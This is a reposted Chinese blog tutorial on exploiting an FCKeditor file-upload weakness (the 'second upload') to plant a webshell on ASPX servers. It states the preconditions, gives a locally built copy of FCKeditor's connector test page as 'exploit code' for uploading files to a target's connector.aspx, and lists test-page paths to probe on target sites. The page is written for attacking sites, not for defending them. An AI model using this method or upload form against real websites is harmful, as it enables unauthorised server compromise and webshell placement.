博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
FCKeditor无test上传页面二次上传
阅读量:6623 次
发布时间:2019-06-25

本文共 4713 字,大约阅读时间需要 15 分钟。


本文由EnjoyHack原创或转载,转载时请注明出处,详细出处请参考:

FCKeditor二次上传拿shell算是FCKeditor漏洞集中比较经典的了,这个二次上传前提条件是要支持aspx而且要求FckEditor/editor/filemanager/connectors/aspx/connector.aspx文件为删除。二次上传漏洞对ASPX站点来说利用比较方便,成功率也比较高,当然若是ASP的站点,支持ASPX和文件为删的情况下也是没问题的。

在利用二次上传过程中我们往往都是找到FckEditor中的一些test上传页面来进行上传,不过也有遇到test上传页面全部被删除的情况,之前我便遇见过许多,不过在遇到test上传页面被删除的情况下我们可以本地构造上传页谈后提交,前提要确认FckEditor/editor/filemanager/connectors/aspx/connector.aspx文件存在,并且服务器支持ASPX的解析。

利用代码:

<!--

* FCKeditor - The text editor for Internet - 

* Copyright (C) 2003-2007 Frederico Caldeira Knabben

*

* == BEGIN LICENSE ==

*

* Licensed under the terms of any of the following licenses at your

* choice:

*

* - GNU General Public License Version 2 or later (the "GPL")


*

* - GNU Lesser General Public License Version 2.1 or later (the "LGPL")


*

* - Mozilla Public License Version 1.1 or later (the "MPL")


*

* == END LICENSE ==

*

* Test page for the File Browser connectors.

-->

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<html xmlns="
">

<head>

<title>FCKeditor - Connectors Tests</title>

<script type="text/javascript">

function BuildBaseUrl( command )

{

var sUrl =

document.getElementById('cmbConnector').value +

'?Command=' + command +

'&Type=' + document.getElementById('cmbType').value +

'&CurrentFolder=' + encodeURIComponent(document.getElementById('txtFolder').value) ;

return sUrl ;

}

function SetFrameUrl( url )

{

document.getElementById('eRunningFrame').src = url ;

document.getElementById('eUrl').innerHTML = url ;

}

function GetFolders()

{

SetFrameUrl( BuildBaseUrl( 'GetFolders' ) ) ;

return false ;

}

function GetFoldersAndFiles()

{

SetFrameUrl( BuildBaseUrl( 'GetFoldersAndFiles' ) ) ;

return false ;

}

function CreateFolder()

{

var sFolder = prompt( 'Type the folder name:', 'Test Folder' ) ;

if ( ! sFolder )

return false ;

var sUrl = BuildBaseUrl( 'CreateFolder' ) ;

sUrl += '&NewFolderName=' + encodeURIComponent( sFolder ) ;

SetFrameUrl( sUrl ) ;

return false ;

}

function OnUploadCompleted( errorNumber, fileName )

{

switch ( errorNumber )

{

case 0 :

alert( 'File uploaded with no errors' ) ;

break ;

case 201 :

GetFoldersAndFiles() ;

alert( 'A file with the same name is already available. The uploaded file has been renamed to "' + fileName + '"' ) ;

break ;

case 202 :

alert( 'Invalid file' ) ;

break ;

default :

alert( 'Error on file upload. Error number: ' + errorNumber ) ;

break ;

}

}

this.frames.frmUpload = this ;

function SetAction()

{

var sUrl = BuildBaseUrl( 'FileUpload' ) ;

document.getElementById('eUrl').innerHTML = sUrl ;

document.getElementById('frmUpload').action = sUrl ;

}

</script>

</head>

<body>

<table height="100%" cellspacing="0" cellpadding="0" width="100%" border="0">

<tr>

<td>

<table cellspacing="0" cellpadding="0" border="0">

<tr>

<td>

Connector:<br />

<select id="cmbConnector" name="cmbConnector">

<option value="asp/connector.asp" selected="selected">ASP</option>

<option value="
>

<option value="cfm/connector.cfm">ColdFusion</option>

<option value="lasso/connector.lasso">Lasso</option>

<option value="perl/connector.cgi">Perl</option>

<option value="php/connector.php">PHP</option>

<option value="py/connector.py">Python</option>

</select>

</td>

<td>

</td>

<td>

Current Folder<br />

<input id="txtFolder" type="text" value="/" name="txtFolder" /></td>

<td>

</td>

<td>

Resource Type<br />

<select id="cmbType" name="cmbType">

<option value="File" selected="selected">File</option>

<option value="Image">Image</option>

<option value="Flash">Flash</option>

<option value="Media">Media</option>

<option value="Invalid">Invalid Type (for testing)</option>

</select>

</td>

</tr>

</table>

<br />

<table cellspacing="0" cellpadding="0" border="0">

<tr>

<td valign="top">

<a href="#" Folders</a></td>

<td>

</td>

<td valign="top">

<a href="#" Folders and Files</a></td>

<td>

</td>

<td valign="top">

<a href="#" Folder</a></td>

<td>

</td>

<td valign="top">

<form id="frmUpload" action="" target="eRunningFrame" method="post" enctype="multipart/form-data">

File Upload<br />

<input id="txtFileUpload" type="file" name="NewFile" />

<input type="submit" value="Upload" />

</form>

</td>

</tr>

</table>

<br />

URL: <span id="eUrl"></span>

</td>

</tr>

<tr>

<td height="100%" valign="top">

<iframe id="eRunningFrame" src="javascript:void(0)" name="eRunningFrame" width="100%"

height="100%"></iframe>

</td>

</tr>

</table>

</body>

</html>

<option value="
>既是ASXP的上传执行路径,asp和php的也同理,需要时请自行补充!!

FCKeditor 中test 文件的上传地址

FCKeditor/editor/filemanager/browser/default/connectors/test.html

FCKeditor/editor/filemanager/upload/test.html

FCKeditor/editor/filemanager/connectors/test.html

FCKeditor/editor/filemanager/connectors/uploadtest.html 

 

本文转hackfreer51CTO博客,原文链接:http://blog.51cto.com/pnig0s1992/458345,如需转载请自行联系原作者

你可能感兴趣的文章
BabeLua常见问题
查看>>
python -- ajax数组传递和后台接收
查看>>
Porting .Net RSA xml keys to Java
查看>>
检测 nginx.conf 是否配置正确
查看>>
最长公共子序列|最长公共子串|最长重复子串|最长不重复子串|最长回文子串|最长递增子序列|最大子数组和...
查看>>
测试妹子的呐喊:为什么总是收不到推送?
查看>>
linux NFS
查看>>
Jquery DataTable基本使用
查看>>
New UWP Community Toolkit
查看>>
JDBC连接数据库(二)
查看>>
leetcode 674. Longest Continuous Increasing Subsequence
查看>>
Extensions in UWP Community Toolkit - SurfaceDialTextbox
查看>>
Golang 语言的单元测试和性能测试(也叫 压力测试)
查看>>
springboot数据库连接池使用策略
查看>>
Java中CAS详解
查看>>
Java线程的学习_线程池
查看>>
Android 虚拟导航挡住应用底部解决方案(屏幕底部的三个按键)
查看>>
工厂函数
查看>>
Java Spring MVC 错误 及 常见问题 总结
查看>>
Linux系统实战项目——sudo日志审计
查看>>